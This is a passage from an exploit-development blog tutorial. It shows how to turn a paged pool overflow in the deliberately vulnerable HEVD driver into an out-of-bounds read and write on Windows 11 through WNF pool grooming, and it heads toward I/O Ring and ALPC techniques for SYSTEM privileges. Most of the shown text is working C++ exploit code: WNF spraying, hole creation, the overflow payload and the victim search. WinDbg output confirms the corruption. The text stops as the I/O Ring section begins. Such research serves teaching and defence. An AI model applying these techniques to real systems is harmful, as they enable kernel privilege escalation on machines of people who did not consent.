Exploit Development: Achieving SYSTEM with WNF, I/O Rings and ALPC from a Paged Pool Overflow. Does it ring a bell?
Introduction
In this blog I am going to explain several objects and exploitation techniques that are pretty well known when exploiting the Windows kernel paged pool. For the bug itself I will use one from the also very well known HackSysExtremeVulnerableDriver project, specifically a heap overflow in paged pool. We will turn that bug into a linear OOB read and write through WNF objects, then into an arbitrary read and write primitive through I/O Rings. This exploit is written for Windows 11 25H2, so we will also use ALPC objects to get the infoleak we need for privilege escalation. I will show two variants for that final step: the classic token stealing route and a parent spoofing route with winlogon.exe as parent.
The bug
As I already mentioned, I am not going to use a real CVE as the base bug. I am going to use a simple HEVD bug. I chose it this way because I want this blog to focus on the methodology, the objects and the exploitation techniques for a modern Windows EoP, not on reverse engineering a real bug. If that is the part you are interested in, you can take a look at this post. Still, the techniques explained here are portable to any target that satisfies a few constraints, so they can be used (and in fact are used) to exploit real vulnerabilities in the wild.
With that out of the way, let us look at the bug. If we check the source code of the project (this time I am not doing RE because I already did that while exploiting another bug and the RE complexity here is minimal) we can see the following fragment in Driver/HEVD/Windows/BufferOverflowPagedPoolSession.c.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
NTSTATUS
TriggerBufferOverflowPagedPoolSession(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
PVOID KernelBuffer = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try
{
DbgPrint("[+] Allocating Pool chunk\n");
KernelBuffer = ExAllocatePoolWithTag(
PagedPoolSession,
(SIZE_T)POOL_BUFFER_SIZE, // 504
(ULONG)POOL_TAG // 'Hack'
);
if (!KernelBuffer)
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPoolSession));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
(...)
#else
DbgPrint("[+] Triggering Buffer Overflow in PagedPoolSession\n");
//
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
//
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
The code explains itself: TriggerBufferOverflowPagedPoolSession is reached by sending a specific IOCTL to HEVD.sys. The driver allocates kernel memory with ExAllocatePoolWithTag(PagedPoolSession, 504, "Hack"), then copies user controlled data into that fixed allocation using a user controlled size. That gives us a heap based buffer overflow in the paged pool, with both the overflow data and the overflow size under our control.
You might be thinking, “wait, did Rotce not say we were going to work in the paged pool? The code says PagedPoolSession”. Fair point. PagedPoolSession is not exactly the same thing, since it was session specific and not global across the whole system. However, Microsoft marks this POOL_TYPE as deprecated in his docs, and this pool type does not even exist in POOL_FLAGS, the model used by the modern ExAllocatePool2 and ExAllocatePool3 APIs. In the modern Windows build I tested, a call using this old pool type ends up behaving like a normal paged pool allocation.
The plan
Our overflow happens in the kernel paged pool, memory that can be paged out to disk (unlike NonPagedPool). In this memory region, data is split into chunks of a certain size. Think of it like bricks placed next to each other. In our case the chunks are 504 bytes plus a bit more for fixed allocator headers, which we will inspect later. Since we are going to write past the end of that block, we will overwrite whatever sits in the next block, whether it is free or whether some other kernel component of the system has allocated something there.
So, how do we abuse this kind of bug? I am sure many of you already know this, but I will quickly go over heap grooming, also known as heap feng shui. I do not want to spend forever on it, so this is just the quick version.
Heap memory does not naturally have a nice clean layout. It is dynamic memory, tons of components use the same area, allocations of different sizes appear and disappear constantly, and the final layout is a mess. If we trigger the overflow without preparation, it will likely land somewhere unpredictable, will corrupt random adjacent data and we get a BSOD. Heap or pool grooming is basically about shaping that memory so the layout becomes more predictable and useful for us as attackers. We do that with heap spraying techniques, allocating and freeing lots of objects we control, until we get the layout we want. In our case, we want the vulnerable chunk to be immediately before a chunk containing data we care about corrupting. The ideal layout is this, where Hack is the tag of the vulnerable HEVD allocation:
1
[Chunk1][Chunk2][Hack][Target][Chunk5][Chunk6]
The usual stepts are:
- Defragmentation. Spray a lot of generic objects, here called
OBJ, to fill existing holes and get several extra pages that are fully packed.
1
[OBJ][OBJ][OBJ][OBJ][OBJ][OBJ]
- Spray interesting objects. Once memory is more compact, spray a lot of objects of the type we really want to corrupt, here called
TARGET.
1
[OBJ][OBJ][OBJ][OBJ][OBJ][OBJ] (...) [TARGET][TARGET][TARGET][TARGET][TARGET][TARGET]
- Free some of the target objects, usually every other one, although it depends on the context. We want holes where the vulnerable chunk can fit.
1
[OBJ][OBJ][OBJ][OBJ][OBJ][OBJ] (...) [TARGET][HOLE][TARGET][HOLE][TARGET][HOLE]
- Trigger the bug. HEVD allocates the vulnerable
Hackchunk in one of our holes.
1
[OBJ][OBJ][OBJ][OBJ][OBJ][OBJ] (...) [TARGET][Hack][TARGET][HOLE][TARGET][HOLE]
- The vulnerable code copies too much data and overflows into the next chunk. Because of the grooming, that next chunk contains something we intentionally placed there.
1
[OBJ][OBJ][OBJ][OBJ][OBJ][OBJ] (...) [TARGET][Hack][CORRUPTED_TARGET][HOLE][TARGET][HOLE]
That is a very simplified explanation of heap grooming, but it is enough for now. Real allocators are more complex and less deterministic. Lookaside lists, delayed frees, coalescing and other allocator behavior can make pool grooming more or less predictable. Even with a good groom, a heap exploit is never 100% reliable. There is always a chance that the vulnerable allocation lands somewhere else and the system becomes unstable. Keep that in mind.
The next question is obvious: which object do we want to corrupt? This is one of the hard parts of pool exploitation. In principle we need an object that lands in the same size class as the vulnerable allocation, that we can spray from usermode, and that gives us something useful, such as a better primitive or an ASLR bypass. Finding these objects usually requires reverse engineering and a solid understanding of many Windows components. Luckily, several useful objects have already been researched and are widely known.
WNF OOB read and write
Starting with Windows 8, Microsoft quietly introduced Windows Notification Facility, usually called WNF. It is an undocumented publish and subscribe notification engine used by modern apps and system components to react to global state changes, such as battery level or network connectivity, in an asynchronous and efficient way. Unlike classic IPC mechanisms such as ALPC or pipes, WNF lets a publisher update state inside a kernel managed structure and move on, while the kernel takes care of notifying subscribed consumers.
WNF became much better known after Alex Ionescu and Gabrielle Viala presented The Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet at Black Hat USA 2018. Later, the PuzzleMaker exploit and the public work around CVE-2021-31956 showed that WNF objects could be very useful when turning a limited pool overflow into a much nicer read and write primitive. I will not try to replace the original research here. If you want the architecture view, Alex Ionescu’s talk is the place to go.
From the exploitation point of view, the structure we care about is WNF_STATE_DATA, which stores the notification data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//0x10 bytes (sizeof)
struct _WNF_STATE_DATA
{
struct _WNF_NODE_HEADER Header; // Type and size header, must stay valid
ULONG AllocatedSize; // Capacity of Data[]
ULONG DataSize; // Bytes that can be read from Data[]
ULONG ChangeStamp; // Counter, useful as a marker
BYTE Data[1]; // Start of the actual state data
};
//0x4 bytes (sizeof)
struct _WNF_NODE_HEADER
{
USHORT NodeTypeCode; // 0x904 for WNF_STATE_DATA
USHORT NodeByteSize; // 0x20 for WNF_STATE_DATA
};
The juicy fields are AllocatedSize and DataSize. If we can corrupt them with a value larger than the original one, WNF APIs will happily read and write past the original Data[] region.
One important detail: those sizes only describe Data[]. They do not include the 0x10 bytes of WNF_STATE_DATA metadata. For example, if we wanted a WNF_STATE_DATA allocation to land in a 0x1000 byte chunk, we would publish 0xFF0 bytes of data. AllocatedSize and DataSize would be 0xFF0, and the extra 0x10 bytes would be the metadata, adding up to a total of 0x1000 bytes.
For our HEVD allocation, the sizes are the following:
1
2
3
4
5
6
HEVD allocation body 0x1f8
WNF_STATE_DATA metadata 0x10
WNF Data[] size required 0x1e8
Allocator rounded body 0x200
VS + POOL headers 0x20
Total chunk stride 0x220
If we later corrupt AllocatedSize and DataSize to 0x218, WNF will operate until the end of the original Data[], cross the 0x20 bytes of headers belonging to the next chunk, and reach 8 bytes into that next chunk body. That gives us a bounded OOB read and write relative to the corrupted WNF_STATE_DATA.
The first API is the undocumented NtCreateWnfStateName, which creates and registers a new WNF state name. This API does not directly create the WNF_STATE_DATA allocations we care about. It only creates the state names. We need NtUpdateWnfStateData for the actual pool allocations.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
NTSTATUS NtCreateWnfStateName(
_Out_ PWNF_STATE_NAME StateName, // Output 64 bit state name ID. Save it for later WNF calls.
_In_ WNF_STATE_NAME_LIFETIME NameLifetime, // Lifetime of the state name. WnfTemporaryStateName is enough here.
_In_ WNF_DATA_SCOPE DataScope, // Visibility scope. WnfDataScopeSystem or WnfDataScopeMachine work for this setup.
_In_ BOOLEAN PersistData, // Whether the state data is persisted. FALSE for temporary states.
_In_opt_ PCWNF_TYPE_ID TypeId, // Optional type identifier. nullptr is fine here.
_In_ ULONG MaximumStateSize, // Maximum Data[] size accepted by this state. 0x218 is enough in our case.
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor // Access control for the state name. Use a permissive descriptor in the lab.
);
NTSTATUS NtUpdateWnfStateData(
_In_ PULONG_PTR StateName, // State name created with NtCreateWnfStateName.
_In_ PVOID Buffer, // User mode buffer with the bytes to publish.
_In_ ULONG Length, // Number of bytes copied from Buffer.
_In_opt_ PCWNF_TYPE_ID TypeId, // Optional type identifier. nullptr here.
_In_opt_ PVOID ExplicitScope, // Optional scope instance. nullptr here.
_In_ ULONG MatchingChangeStamp, // Expected change stamp. 0 works for normal updates, the marker helps identify corruption.
_In_ ULONG CheckResult // Internal check flag. 0 here.
);
With NtCreateWnfStateName and NtUpdateWnfStateData we can create a lot of WNF_STATE_DATA objects of size 0x1f8. We will use WNF for both padding and targets. Other objects such as events could also work for defragmentation, but since we are already using WNF, I will keep the setup simple.
We want the following layout:
1
[WNF_STATE_DATA_PAD][WNF_STATE_DATA_PAD][WNF_STATE_DATA_PAD] (...) [WNF_STATE_DATA_TARGET][WNF_STATE_DATA_TARGET][WNF_STATE_DATA_TARGET]
To create holes we delete alternating target state names with NtDeleteWnfStateName.
1
2
3
NTSTATUS NtDeleteWnfStateName(
_In_ PULONG_PTR StateName // State name to delete. This frees the related WNF allocations.
);
After deleting every other target, the layout looks like this:
1
[WNF_STATE_DATA_PAD][WNF_STATE_DATA_PAD][WNF_STATE_DATA_PAD] (...) [WNF_STATE_DATA_TARGET][HOLE][WNF_STATE_DATA_TARGET][HOLE][WNF_STATE_DATA_TARGET][HOLE]
The next step is to trigger HEVD so that the Hack chunk lands in one of those holes and overflows into the next WNF_STATE_DATA_TARGET. Since we are in the 0x200 body size class, each useful allocation has two headers in front of the body: a HEAP_VS_CHUNK_HEADER and a POOL_HEADER. 0x1f8 is rounded to 0x200, and this size goes through VS rather than LFH.
1
2
[HEAP_VS_CHUNK_HEADER][POOL_HEADER][CHUNK_BODY]
0x10 0x10 0x200
So, to reach the metadata of the next WNF_STATE_DATA, the overflow must cover 0x220 bytes and then overwrite the next 0x10 bytes with a fake but valid WNF_STATE_DATA header. The values we want are:
1
2
3
4
5
Header.NodeTypeCode 0x904 (Fixed for WNF_STATE_DATA)
Header.NodeByteSize 0x20 (Fixed for WNF_STATE_DATA)
AllocatedSize 0x218
DataSize 0x218
ChangeStamp marker such as 0xC0DE
After the overflow (Pad WNF_STATE_DATA still there, but I won’t show them anymore):
1
[WNF_STATE_DATA_TARGET][Hack][CORRUPTED_WNF_STATE_DATA][HOLE][WNF_STATE_DATA_TARGET][HOLE]
Because the overflow also trashed the HEAP_VS_CHUNK_HEADER and POOL_HEADER of the corrupted WNF chunk, we will need to restore those headers to avoid a BugCheck, but that comes later.
To find the corrupted WNF state, we use NtQueryWnfStateData.
1
2
3
4
5
6
7
8
NTSTATUS NtQueryWnfStateData(
_In_ PCWNF_STATE_NAME StateName, // State name to query.
_In_opt_ PCWNF_TYPE_ID TypeId, // Optional type identifier. nullptr here.
_In_opt_ const VOID* ExplicitScope, // Optional scope instance. nullptr here.
_Out_ PWNF_CHANGE_STAMP ChangeStamp, // Receives the current change stamp. We use it to spot the marker.
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, // Output buffer. nullptr for size checks, real buffer for OOB read.
_Inout_ PULONG BufferSize // In: buffer size. Out: returned or required data size.
);
We loop through the still active target StateName values and call NtQueryWnfStateData with only ChangeStamp and BufferSize. The corrupted one is the entry that returns our marker and the corrupted size. Once we know which StateName owns the corrupted WNF_STATE_DATA, we call the same API again with a real buffer and get an OOB read.
For OOB write we call NtUpdateWnfStateData on the single corrupted state name only. This detail matters: if we ask every WNF state to write the corrupted size, the non corrupted chunks can be freed and reallocated with a larger size because MaximumStateSize allows it. That would destroy the groom. So we find the victim first, then only use the victim.
Recap for the WNF stage (code included):
- Create lots of padding and target WNF state names with
NtCreateWnfStateName.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
static bool InternalCreateAllWnfNames(
DWORD padCount,
DWORD targetCount,
DWORD maximumStateSize,
std::vector<WNF_STATE_NAME>& padNames,
std::vector<WNF_STATE_NAME>& names,
std::vector<bool>& padActive,
std::vector<bool>& active) {
// Create a security descriptor with a null DACL (null security)
// Necessary to create the StateNames
if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
L"",
SDDL_REVISION_1,
&g_wnfSecurityDescriptor,
nullptr
)) {
printf("\t[-] Failed to create WNF security descriptor. Error: 0x%08lX\n",
GetLastError());
}
padNames.assign(padCount, {});
names.assign(targetCount, {});
padActive.assign(padCount, false);
active.assign(targetCount, false);
int padCreated = 0;
// Loop to create our padding StateName
for (int i = 0; i != padCount; i++) {
NTSTATUS status = g_NtCreateWnfStateName(
&padNames[i],
WnfTemporaryStateName,
WnfDataScopeSystem,
FALSE,
nullptr,
maximumStateSize, // 0x218, we could add more, but it's not necessary
g_wnfSecurityDescriptor
);
if (NT_SUCCESS(status)) {
padCreated++;
padActive[i] = true;
}
}
int sprayCreated = 0;
// Loop to create our target StateName
for (int i = 0; i != targetCount; i++) {
NTSTATUS status = g_NtCreateWnfStateName(
&names[i],
WnfTemporaryStateName,
WnfDataScopeSystem,
FALSE,
nullptr,
maximumStateSize, // 0x218, we could add more, but it's not necessary
g_wnfSecurityDescriptor
);
if (NT_SUCCESS(status)) {
sprayCreated++;
active[i] = true;
}
}
if (padCreated != padCount || sprayCreated != targetCount) {
printf("[-] WNF name creation was incomplete\n");
return false;
}
return true;
}
- Update them with
NtUpdateWnfStateDataso theirWNF_STATE_DATAallocations land in the0x1f8body size. The user buffer is0x1e8because theWNF_STATE_DATAmetadata takes the first0x10bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
static bool InternalUpdateAllWnf(
DWORD padCount,
DWORD targetCount,
DWORD dataSize,
BYTE padFillByte,
BYTE targetFillByte,
const std::vector<WNF_STATE_NAME>& padNames,
const std::vector<WNF_STATE_NAME>& names,
std::vector<bool>& padActive,
std::vector<bool>& active) {
std::vector<BYTE> data(dataSize, padFillByte);
int padUpdated = 0;
// Padding WNF update
for (int i = 0; i != padCount; i++) {
if (!padActive[i]) {
continue;
}
NTSTATUS status = g_NtUpdateWnfStateData(
&padNames[i],
data.data(), // Ptr to our 'data' buffer
dataSize,
nullptr,
nullptr,
0,
0
);
if (NT_SUCCESS(status)) {
padUpdated++;
}
else {
padActive[i] = false;
}
}
Sleep(500); // Wait between padding wnf and target wnf
// so the don't overlap
memset(data.data(), targetFillByte, dataSize);
int targetUpdated = 0;
// Target WNF update
for (int i = 0; i != targetCount; i++) {
if (!active[i]) {
continue;
}
NTSTATUS status = g_NtUpdateWnfStateData(
&names[i],
data.data(), // Ptr to our 'data' buffer
dataSize,
nullptr,
nullptr,
0,
0
);
if (NT_SUCCESS(status)) {
targetUpdated++;
}
else {
active[i] = false;
}
}
if (padUpdated != padCount || targetUpdated != targetCount) {
printf("\t[-] WNF update was incomplete\n");
return false;
}
return true;
}
At this point the WNF spray looks like this:
1
[WNF_STATE_DATA_PAD][WNF_STATE_DATA_PAD][WNF_STATE_DATA_PAD] (...) [WNF_STATE_DATA_TARGET][WNF_STATE_DATA_TARGET][WNF_STATE_DATA_TARGET]
- Delete alternating target names with
NtDeleteWnfStateNameto create holes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static bool InternalCreateWnfHoles(
std::vector<WNF_STATE_NAME>& names,
std::vector<bool>& active,
int count) {
int deleted = 0;
// Loop to delete the even target WNFs
for (int i = 0; i < count; i += 2) {
if (!active[i]) {
continue;
}
NTSTATUS status = g_NtDeleteWnfStateName(&names[i]);
if (NT_SUCCESS(status)) {
active[i] = false;
deleted++;
}
}
return deleted != 0;
}
After that, the target side looks like this:
1
[WNF_STATE_DATA_TARGET][HOLE][WNF_STATE_DATA_TARGET][HOLE][WNF_STATE_DATA_TARGET][HOLE]
- Trigger the HEVD overflow and corrupt the adjacent
WNF_STATE_DATAmetadata.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static bool InternalTriggerOverflow(HANDLE& hevdDevice, const SIZE_CONFIG& sc)
{
// Buffer with size 0x230 (0x200 our chunk fill + 0x20 next chunk headers + 0x10 overflow)
std::vector<BYTE> payload(
sc.hevd_overflow_wnf_header_offset + sizeof(WNF_STATE_DATA_HEADER),
WNF_OVERFLOW_FILL_BYTE
);
auto fakeHeader = reinterpret_cast<WNF_STATE_DATA_HEADER*>(
payload.data() + sc.hevd_overflow_wnf_header_offset // 0x220
);
fakeHeader->Header.NodeTypeCode = WNF_STATE_DATA_NODE_TYPE_CODE; // 0x904 (fixed)
fakeHeader->Header.NodeByteSize = WNF_STATE_DATA_NODE_SIZE; // 0x20 (fixed)
fakeHeader->AllocatedSize = sc.wnf_corrupted_data_size; // 0x218
fakeHeader->DataSize = sc.wnf_corrupted_data_size; // 0x218
fakeHeader->ChangeStamp = WNF_CHANGE_STAMP_MARKER; // 0xC0DE
// Wrapper that sends the IOCTL and triggers the overflow
return HevdIoctl(
hevdDevice,
IOCTL_HEVD_BUFFER_OVERFLOW_PAGED_POOL_SESSION,
payload.data(),
static_cast<DWORD>(payload.size())
);
}
After the overflow, the useful layout is this:
1
[WNF_STATE_DATA_TARGET]['Hack'][CORRUPTED_WNF_STATE_DATA][HOLE][WNF_STATE_DATA_TARGET][HOLE]
- Find the corrupted
WNF_STATE_DATAwithNtQueryWnfStateDataand use it for the OOB read.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static bool FindVictimAndRetrieveData(const SIZE_CONFIG& sc)
{
for (int i = 1; i < sc.wnf_spray_count; i += 2) { // sc.wnf_spray_count is the number of WNF targets we created earlier
ULONG querySize = 0; // Iterate over the odd ones (those we haven't freed to create holes)
WNF_CHANGE_STAMP changeStamp = 0;
NTSTATUS status = g_NtQueryWnfStateData(
&g_wnfNames[i],
nullptr,
nullptr,
&changeStamp,
nullptr,
&querySize
);
// If any of these conditions are met, it is not the one we corrupted
if (status != STATUS_BUFFER_TOO_SMALL ||
changeStamp != WNF_CHANGE_STAMP_MARKER || // 0xCODE
querySize != sc.wnf_corrupted_data_size) { // 0x218
continue;
}
// If we reach this point, we have likely found the corrupted one
ULONG readSize = querySize;
std::vector<BYTE> buffer(readSize, 0);
// Second call: we pass a buffer to read OOB data
status = g_NtQueryWnfStateData(
&g_wnfNames[i], // Corrupted WNF
nullptr,
nullptr,
&changeStamp,
buffer.data(), // Ptr to our buffer to read the data
&readSize // Amount of data to read
);
if (!NT_SUCCESS(status)) {
printf("[-] NtQueryWnfStateData read failed at index %d. Status: 0x%08lX\n", i, status);
continue;
}
// More things happen here; they aren't important for now.
}
- Use that same corrupted state name for the OOB write with
NtUpdateWnfStateData. We only update the corrupted WNF object. Doing this against every target would make the normal chunks reallocate with a larger size and would destroy the groom. I won’t show this step here, since we haven’t reached that part yet.
WinDbg check before the overflow
We can break right after the ExAllocatePoolWithTag call in HEVD and inspect the layout.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0: kd> u fffff802`7c4063f2
HEVD!TriggerBufferOverflowPagedPoolSession+0x52 [c:\projects\hevd\driver\hevd\bufferoverflowpagedpoolsession.c @ 83]:
fffff802`7c4063f2 ff1540bcf7ff call qword ptr [HEVD!_imp_ExAllocatePoolWithTag (fffff802`7c382038)]
fffff802`7c4063f8 488bf8 mov rdi,rax
fffff802`7c4063fb 418bd7 mov edx,r15d
fffff802`7c4063fe 418bcc mov ecx,r12d
fffff802`7c406401 4885c0 test rax,rax
fffff802`7c406404 7517 jne HEVD!TriggerBufferOverflowPagedPoolSession+0x7d (fffff802`7c40641d)
fffff802`7c406406 4c8d05b32a0000 lea r8,[HEVD! ?? ::NNGAKEGL::`string' (fffff802`7c408ec0)]
fffff802`7c40640d ff15f5bbf7ff call qword ptr [HEVD!_imp_DbgPrintEx (fffff802`7c382008)]
0: kd> bp fffff802`7c4063f8
0: kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowPagedPoolSession+0x58:
fffff802`7c4063f8 488bf8 mov rdi,rax
1: kd> !pool rax
Pool page ffffe50a0aa0f010 region is Paged pool
*ffffe50a0aa0f000 size: 210 previous size: 0 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
ffffe50a0aa0f220 size: 210 previous size: 0 (Allocated) Wnf Process: ffffd203339bf080
ffffe50a0aa0f440 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
WinDbg does not feel like showing us the whole page here, but we can walk it manually:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1: kd> dt nt!_pool_header PoolTag ffffe50a0aa0f000
+0x004 PoolTag : 0x6b636148 'Hack'
1: kd> dt nt!_pool_header PoolTag ffffe50a0aa0f000+220
+0x004 PoolTag : 0x20666e57 'Wnf'
1: kd> dt nt!_pool_header PoolTag ffffe50a0aa0f000+220+220
+0x004 PoolTag : 0xffffe50a FREED
1: kd> dt nt!_pool_header PoolTag ffffe50a0aa0f000+220+220+220
+0x004 PoolTag : 0x20666e57 'Wnf'
1: kd> dt nt!_pool_header PoolTag ffffe50a0aa0f000+220+220+220+220
+0x004 PoolTag : 0xffffe50a FREED
1: kd> dt nt!_pool_header PoolTag ffffe50a0aa0f000+220+220+220+220+220
+0x004 PoolTag : 0x20666e57 'Wnf'
The WNF_STATE_DATA after the vulnerable Hack chunk is still legitimate:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1: kd> dt nt!_heap_vs_chunk_header ffffe50a0aa0f000+220-10
+0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0x008 EncodedSegmentPageOffset : 0y01000001 (0x41)
+0x008 UnusedBytes : 0y0
+0x008 SkipDuringWalk : 0y0
+0x008 Spare : 0y0000000000000000000000 (0)
+0x008 AllocatedChunkBits : 0x41
1: kd> dt nt!_pool_header ffffe50a0aa0f000+220
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y11110000 (0xf0)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00001011 (0xb)
+0x000 Ulong1 : 0xb21f000
+0x004 PoolTag : 0x20666e57
+0x008 ProcessBilled : 0x7280dbe1`526c6a5b _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x6a5b
+0x00a PoolTagHash : 0x526c
1: kd> dt nt!_wnf_state_data ffffe50a0aa0f000+220+10
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : 0x1e8
+0x008 DataSize : 0x1e8
+0x00c ChangeStamp : 1
WinDbg check after the overflow
After the overflow, note that 0xEE is the filler value from my payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
1: kd> pt
HEVD!TriggerBufferOverflowPagedPoolSession+0x1f0:
fffff802`7c406590 c3 ret
3: kd> dt nt!_heap_vs_chunk_header ffffe50a0aa0f000+220-10
+0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0x008 EncodedSegmentPageOffset : 0y11101110 (0xee)
+0x008 UnusedBytes : 0y0
+0x008 SkipDuringWalk : 0y1
+0x008 Spare : 0y1110111011101110111011 (0x3bbbbb)
+0x008 AllocatedChunkBits : 0xeeeeeeee
3: kd> dt nt!_pool_header ffffe50a0aa0f000+220
+0x000 PreviousSize : 0y11101110 (0xee)
+0x000 PoolIndex : 0y11101110 (0xee)
+0x002 BlockSize : 0y11101110 (0xee)
+0x002 PoolType : 0y11101110 (0xee)
+0x000 Ulong1 : 0xeeeeeeee
+0x004 PoolTag : 0xeeeeeeee
+0x008 ProcessBilled : 0xeeeeeeee`eeeeeeee _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xeeee
+0x00a PoolTagHash : 0xeeee
3: kd> dq ffffe50a0aa0f000+220-10 l4
ffffe50a`0aa0f210 eeeeeeee`eeeeeeee eeeeeeee`eeeeeeee -> HEAP_VS_CHUNK_HEADER
ffffe50a`0aa0f220 eeeeeeee`eeeeeeee eeeeeeee`eeeeeeee -> POOL_HEADER
3: kd> dt nt!_wnf_state_data -r ffffe50a0aa0f000+220+10
+0x000 Header : _WNF_NODE_HEADER
+0x000 NodeTypeCode : 0x904
+0x002 NodeByteSize : 0x20
+0x004 AllocatedSize : 0x218
+0x008 DataSize : 0x218
+0x00c ChangeStamp : 0xCODE
Tiny debugging tip: WinDbg has a built in !wnf command. If you print some of your sprayed state name IDs, you can pass them to !wnf /name, follow StateData, and find the corresponding WNF_STATE_DATA in memory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0: kd> !wnf /name 41c64e6da3bc0945 (This is just a random ID for testing purposes)
WNF State Name '41c64e6da3bc0945':
NameLifetime : WnfTemporaryStateName
DataScope : WnfScopeTypeMachine
PermanentData : No
Unique : 0000000000000001
Instances of the name '41c64e6da3bc0945':
(Scope Instance) (Data Store Ptr) (n) (InstanceID) (Name Instance) (State Name) (n) (Creator process)
In silo: None
Scope: ffffe58071b15330 : 0000000000000000 387 '<Singleton>', Name: ffffe58071b683c0: '41c64e6da3bc0945', 1, ffffbf08a86ac040 ('System')
1 instances of this name found
0: kd> !wnf ffffe58071b683c0
WNF State Name Instance ffffe58071b683c0:
StateName : '41c64e6da3bc0945' (L:Tmp,S:Mcn,D:Tmp)
MaxStateSize : 00000000
TypeId : 0000000000000000
SecurityDescriptor : ffffe58071b04720
StateData : 0000000000000000 -> PTR to WNF_STATE_DATA (in this example is NULL)
ScopeInstance : ffffe58071b15330
CurrentChangeStamp : 00000000 (0)
CreatorProcess : ffffbf08a86ac040 ('System'), Ctx=ffffe580712f6f60
List of name instance subscriptions (1 entries):
(Subscription) (Name Instance) (Process Block)
ffffe58071adda40 : ffffe58071b683c0 ffffbf08a86ac040 ('System')
Nice, we have gone from an overflow that only gave us an OOB write into the next chunk to an OOB read and write through the corrupted WNF_STATE_DATA. Strictly speaking we mostly gained the OOB read, because the original bug already gave us a write, but this is important for future steps.
So, what now? The memory is in a perfect position. We still have a freed chunk after the corrupted WNF_STATE_DATA, and we can place a new object there. My choice is a pretty famous one, popularized by Yarden Shafir. Does it ring a bell?
The First Spray: Obtaining an I/O Ring arbitrary read/write
Starting with the release of Windows 11, Microsoft introduced a completely new subsystem into the core of the operating system called I/O Ring. This component was designed with a goal focused purely on performance: optimizing input/output operations, mainly file reads and writes. Inspired by Linux io_uring, its job is to let high demand applications queue hundreds of file requests in memory and make a single system call so the kernel can process all of them in one batch, getting rid of the historical slowness servers suffered when doing thousands of individual requests.
Even though this is a legitimate speed improvement, the security community quickly found that its internal design opened a gold mine for exploit development. The foundational analysis of this component happened in 2022 thanks to researcher Yarden Shafir, who through “I/O Rings - When One I/O Operation is Not Enough” and “An I/O Ring to Rule Them All” dismantled the subsystem internals for the first time and warned about the risk of its kernel structures.
Some time later, attackers started using IORING as the ultimate weapon against modern Windows. Instead of using old and destructive methods that caused blue screens, attackers found that if they used a basic vulnerability to slightly alter the internal data of this object, they could trick the operating system. By doing that, they forced the kernel itself to use its legitimate high speed functions to read or modify any secret part of system memory at the user’s request. This way, IORING historically became the cleanest, most stable and most popular tool to jump over modern Windows defenses without raising much suspicion.
As I said before, I am going to focus purely on exploitation. Reference for readers interested in the original research.
The first thing we need is to create an _IORING_OBJECT. We can do this with CreateIoRing, defined in ioringapi.h.
1
2
3
4
5
6
